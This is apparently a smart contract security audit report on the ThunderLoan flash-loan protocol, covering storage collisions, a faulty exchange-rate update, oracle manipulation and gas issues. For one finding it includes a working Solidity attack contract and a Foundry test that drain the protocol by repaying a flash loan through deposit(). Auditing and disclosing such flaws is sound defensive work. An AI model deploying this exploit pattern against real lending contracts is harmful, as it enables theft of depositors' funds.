Thunder Loan Audit Report

Sidrah Ahmed

February 13, 2024

Thunder Loan Initial Audit Report

Version 0.1

February 13, 2024

Thunder Loan Audit Report

Sidrah Ahmed

February 13, 2024

Thunder Loan Audit Report

Prepared by: Sidrah Ahmed

Lead Auditors:

- Sidrah Ahmed

Assisting Auditors:

- None

Table of contents

See table

About the Auditor

Hello, I'm Sidrah Ahmed, a passionate enthusiast of Solidity and smart contract security. My mission is to conduct rigorous audits that ensure the highest level of security, efficiency, and reliability in your smart contracts. With my expertise, I promise to do my best in uncovering any potential vulnerabilities and offering actionable recommendations for improvements. Trust me, your smart contracts are in safe hands.

Disclaimer

I make all effort to find as many vulnerabilities in the code in the given time period, but hold no responsibilities for the findings provided in this document. A security audit by me is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

`8803f851f6b37e99eab2e94b4690c8b70e26b3f6`

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans!

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current ThunderLoan contract to the ThunderLoanUpgraded contract. Please include this upgrade in scope of a security review.

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	2
Info	4
Gas Optimizations	3
Total	14

Findings

High

[H-1] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing the protocol

Description: `ThunderLoan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the expected upgraded contract `ThunderLoanUpgraded.sol` has them in a different order.

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgradeable contracts.

Impact: After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Code:

Code Add the following code to the `ThunderLoanTest.t.sol` file.

```
// You'll need to import `ThunderLoanUpgraded` as well
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/ThunderLoanUpgraded.sol";

function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeTo(address(upgraded));
        uint256 feeAfterUpgrade = thunderLoan.getFee();

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

[H-02] Erroneous `ThunderLoan::updateExchangeRate`in `deposit` function causes protocol to think it has more fee than it really does, which blocks redemption and incorrectly sets the `exchangeRate` preventing withdraws and unfairly changing reward distribution

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, its responsible for keeping track of how many fees to give to liquidity providers.

However, `deposit` function, updates this rate, WITHOUT collecting any fees!

```
    function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNot
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

        // @audit-high
@>      uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact: There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol things the owed tokens is more than it has.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

Proof of Concept:

1. LP deposits.
2. User takes out a flash loan.
3. It is now impossible for LP to redeem.

Proof of Code Place the following into `ThunderLoanTest.t.sol`.

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);

        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee); // fee, I believe?
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, amountToBorrow, "");
        vm.stopPrank();
        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

Recommended Mitigation: Remove the incorrectly updated exchange rate lines from `deposit`.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllo
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

        // @audit-high
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

[H-03] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

Description: The flashloan() performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing endingBalance with startingBalance + fee. However, a vulnerability emerges when calculating endingBalance using token.balanceOf(address(assetToken)).

Exploiting this vulnerability, an attacker can return the flash loan using the deposit() instead of repay(). This action allows the attacker to mint AssetToken and subsequently redeem it using redeem(). What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert.

Impact: All the funds of the AssetContract can be stolen.

Proof of Concept: To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**.

Proof of Code

```
import { Attack } from "../mocks/attack.sol";

function testattack() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        vm.startPrank(user);
        tokenA.mint(address(attack), AMOUNT);
        thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, "");
        attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA)));
        thunderLoan.redeem(tokenA, type(uint256).max);
        vm.stopPrank();

        assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_A
    }

function setUp() public override {
        super.setUp();
        vm.prank(user);
        mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan));
        vm.prank(user);
        attack = new Attack(address(thunderLoan));
    }
```

attack.sol

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol";

interface IThunderLoan {
    function repay(address token, uint256 amount) external;
    function deposit(IERC20 token, uint256 amount) external;
    function getAssetFromToken(IERC20 token) external;
}


contract Attack {
    error MockFlashLoanReceiver__onlyOwner();
    error MockFlashLoanReceiver__onlyThunderLoan();

    using SafeERC20 for IERC20;

    address s_owner;
    address s_thunderLoan;

    uint256 s_balanceDuringFlashLoan;
    uint256 s_balanceAfterFlashLoan;

    constructor(address thunderLoan) {
        s_owner = msg.sender;
        s_thunderLoan = thunderLoan;
        s_balanceDuringFlashLoan = 0;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address initiator,
        bytes calldata /*  params */
    )
        external
        returns (bool)
    {
        s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this));

        if (initiator != s_owner) {
            revert MockFlashLoanReceiver__onlyOwner();
        }

        if (msg.sender != s_thunderLoan) {
            revert MockFlashLoanReceiver__onlyThunderLoan();
        }
        IERC20(token).approve(s_thunderLoan, amount + fee);
        IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee);
        s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this));
        return true;
    }

    function getbalanceDuring() external view returns (uint256) {
        return s_balanceDuringFlashLoan;
    }

    function getBalanceAfter() external view returns (uint256) {
        return s_balanceAfterFlashLoan;
    }

    function sendAssetToken(address assetToken) public {

        IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))
    }
}
```

Notice that the `assetLt()` checks whether the balance of the AssetToken contract is less than the `DEPOSIT_AMOUNT`, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher.

Recommended Mitigation: Add a check in deposit() to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in flashloan() and checking it in deposit().

Medium

[M-01] Centralization risk for trusted owners

Impact: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Instances (2):

```
File: src/protocol/ThunderLoan.sol

223:     function setAllowedToken(IERC20 token, bool allowed) external onlyOwner returns (As

261:     function _authorizeUpgrade(address newImplementation) internal override onlyOwner
```

Contralized owners can brick redemptions by disapproving of a specific token

[M-02] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

- User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
  1. User sells 1000 `tokenA`, tanking the price.
  2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
     - Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
function getPriceInWeth(address token) public view returns (uint256) {
  address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
@>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
  }
```

3. The user then repays the first flash loan, and then repays the second flash loan.

I have created a proof of code located in my `audit-data` folder. It is too large to include here.

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

Low

[L-01] `ThunderLoan::updateFlashLoanFee()` and `ThunderLoanUpgraded::updateFlashLoanFee()` are missing events

Description: `ThunderLoan::updateFlashLoanFee()` and `ThunderLoanUpgraded::updateFlashLoanFee()` does not emit an event, so it is difficult to track changes in the value `s_flashLoanFee` off-chain.

```
function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > FEE_PRECISION) {
            revert ThunderLoan__BadNewFee();
        }
@>        s_flashLoanFee = newFee;
    }
```

Impact: In Ethereum, events are used to facilitate communication between smart contracts and their user interfaces or other off-chain services. When an event is emitted, it gets logged in the transaction receipt, and these logs can be monitored and reacted to by off-chain services or user interfaces.

Without a `FeeUpdated` event, any off-chain service or user interface that needs to know the current `s_flashLoanFee` would have to actively query the contract state to get the current value. This is less efficient than simply listening for the `FeeUpdated` event, and it can lead to delays in detecting changes to the `s_flashLoanFee`.

The impact of this could be significant because the `s_flashLoanFee` is used to calculate the cost of the flash loan. If the fee changes and an off-chain service or user is not aware of the change because they didn't query the contract state at the right time, they could end up paying a different fee than they expected.

Recommended Mitigation: Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```
+    event FlashLoanFeeUpdated(uint256 newFee);
.
```

```
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee);
    }
```

[L-02] Mathematic operations handled without precision in `ThunderLoan::getCalculatedFee()` function

Description: The mathematical operations within the `ThunderLoan::getCalculatedFee()` function do not handle precision appropriately. Specifically, the calculations in this function could lead to precision loss when processing fees. This issue is of low priority but may impact the accuracy of fee calculations.

Impact: The identified problem revolves around the handling of mathematical operations in the `ThunderLoan::getCalculatedFee()` function. The code snippet below is the source of concern:

```
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
```

The above code, as currently structured, may lead to precision loss during the fee calculation process, potentially causing accumulated fees to be lower than expected.

Recommended Mitigation: To mitigate the risk of precision loss during fee calculations, it is recommended to handle mathematical operations differently within the `ThunderLoan::getCalculatedFee()` function. One of the following actions should be taken:

Change the order of operations to perform multiplication before division. This reordering can help maintain precision. Utilize a specialized library, such as `math.sol`, designed to handle mathematical operations without precision loss. By implementing one of these recommendations, the accuracy of fee calculations can be improved, ensuring that fees align more closely with expected values.

Informational

[I-01] Poor Test Coverage

```
Running tests...
| File                              | % Lines        | % Statements   | % Branches    | % F
| --------------------------------- | -------------- | -------------- | ------------- | ---
| src/protocol/AssetToken.sol       | 70.00% (7/10)  | 76.92% (10/13) | 50.00% (1/2)  | 66.
| src/protocol/OracleUpgradeable.sol | 100.00% (6/6)  | 100.00% (9/9)  | 100.00% (0/0) | 80.
| src/protocol/ThunderLoan.sol       | 64.52% (40/62) | 68.35% (54/79) | 37.50% (6/16) | 71.
```

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.

[I-02] Not using `__gap[50]` for future storage collision mitigation

[I-03] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6

[I-04] Doesn't follow https://eips.ethereum.org/EIPS/eip-3156

Gas

[GAS-01] Using bools for storage incurs overhead

Use `uint256(1)` and `uint256(2)` for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

Instances (1):

```
File: src/protocol/ThunderLoan.sol

98:     mapping(IERC20 token => bool currentlyFlashLoaning) private s_currentlyFlashLoaning
```

[GAS-02] Using `private` rather than `public` for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (3):

```
File: src/protocol/AssetToken.sol

25:     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
File: src/protocol/ThunderLoan.sol

95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee

96:     uint256 public constant FEE_PRECISION = 1e18;
```

[GAS-03] Unnecessary SLOAD when logging new exchange rate

In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the

`ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

```
  s_exchangeRate = newExchangeRate;
- emit ExchangeRateUpdated(s_exchangeRate);
+ emit ExchangeRateUpdated(newExchangeRate);
```

Tools used

Slither and Aderyn were used for analyzing the smart contract. They helped identify potential vulnerabilities and areas for improvement in the contract code.

Conclusion

The Thunder Loan Audit Report highlights critical issues such as storage collisions due to variable location changes, incorrect exchange rate updates, and potential for funds theft via flashloan manipulation. It also points out medium risks like centralization and price oracle manipulation, as well as low risks including missing events and mathematic operation precision.

These issues could lead to significant financial losses and operational inefficiencies. It's crucial to address these high-level vulnerabilities promptly to ensure the integrity and reliability of the contract.